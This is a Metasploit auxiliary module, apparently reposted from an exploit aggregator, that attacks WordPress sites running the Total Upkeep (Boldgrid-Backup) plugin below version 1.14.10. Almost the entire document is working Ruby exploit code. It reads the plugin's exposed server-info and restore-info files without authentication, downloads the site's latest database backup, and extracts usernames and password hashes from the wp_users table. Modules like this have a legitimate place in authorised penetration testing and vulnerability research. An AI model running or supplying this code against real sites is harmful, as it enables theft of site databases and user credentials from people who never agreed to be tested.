Exploit for WordPress Total Upkeep Unauthenticated Backup Downloader

## https://sploitus.com/exploit?id=PACKETSTORM:181023
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress Total Upkeep Unauthenticated Backup Downloader',  
'Description' => %q{  
This module exploits an unauthenticated database backup vulnerability in WordPress plugin  
'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.  
First, `env-info.php` is read to get server information. Next, `restore-info.json` is  
read to retrieve the last backup file. That backup is then downloaded, and any sql  
files will be parsed looking for the wp_users INSERT statement to grab user creds.  
},  
'References' => [  
['EDB', '49252'],  
['WPVDB', '10502'],  
['WPVDB', '10503'],  
['URL', 'https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup']  
],  
'Author' => [  
'Wadeek', # Vulnerability discovery  
'h00die' # Metasploit module  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DisclosureDate' => '2020-12-12',  
'License' => MSF_LICENSE  
)  
)  
end  
  
def run_host(ip)  
unless wordpress_and_online?  
fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"  
end  
  
checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')  
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)  
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of Boldgrid Backup was not found"  
end  
print_good("#{ip} - Vulnerable version of Boldgrid Backup detected")  
  
print_status("#{ip} - Obtaining Server Info")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')  
})  
  
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res  
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200  
begin  
data = JSON.parse(res.body)  
rescue StandardError  
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"  
end  
output = []  
data.each do |k, v|  
output << " #{k}: #{v}"  
end  
print_good("#{ip} - \n#{output.join("\n")}")  
path = store_loot(  
'boldgrid-backup.server.info',  
'text/json',  
ip,  
data,  
'env-info.json'  
)  
print_good("#{ip} - File saved in: #{path}")  
  
print_status("#{ip} - Obtaining Backup List from Cron")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')  
})  
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res  
fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404  
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200  
  
begin  
data = JSON.parse(res.body)  
rescue StandardError  
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"  
end  
output = []  
data.each do |k, v|  
output << " #{k}: #{v}"  
end  
print_good("#{ip} - \n#{output.join("\n")}")  
path = store_loot(  
'boldgrid-backup.backup.info',  
'text/json',  
ip,  
data,  
'restore-info.json'  
)  
print_good("#{ip} - File saved in: #{path}")  
unless data['filepath']  
print_bad("#{ip} - no file found")  
end  
# pull a url from the local file system path  
path = data['filepath'].sub(data['ABSPATH'], '')  
print_status("#{ip} attempting download of #{path}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, path)  
})  
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res  
fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404  
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200  
path = store_loot(  
'boldgrid-backup.backup.zip',  
'application/zip',  
ip,  
res.body,  
path.split('/').last  
)  
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")  
  
Zip::File.open(path) do |zip_file|  
# Handle entries one by one  
zip_file.each do |entry|  
# Extract to file  
next unless entry.name.ends_with?('.sql')  
  
print_status("#{ip} - Attempting to pull creds from #{entry}")  
f = entry.get_input_stream.read  
f.split("\n").each do |l|  
next unless l.include?('INSERT INTO `wp_users` VALUES ')  
  
columns = ['user_login', 'user_pass']  
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)  
l.split('),(').each do |user|  
user = user.split(',')  
username = user[1].strip  
username = username.start_with?("'") ? username.gsub("'", '') : username  
hash = user[2].strip  
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: username,  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),  
private_data: hash,  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
table << [username, hash]  
end  
print_good(table.to_s)  
end  
end  
end  
print_status("#{ip} - finished processing backup zip")  
end  
end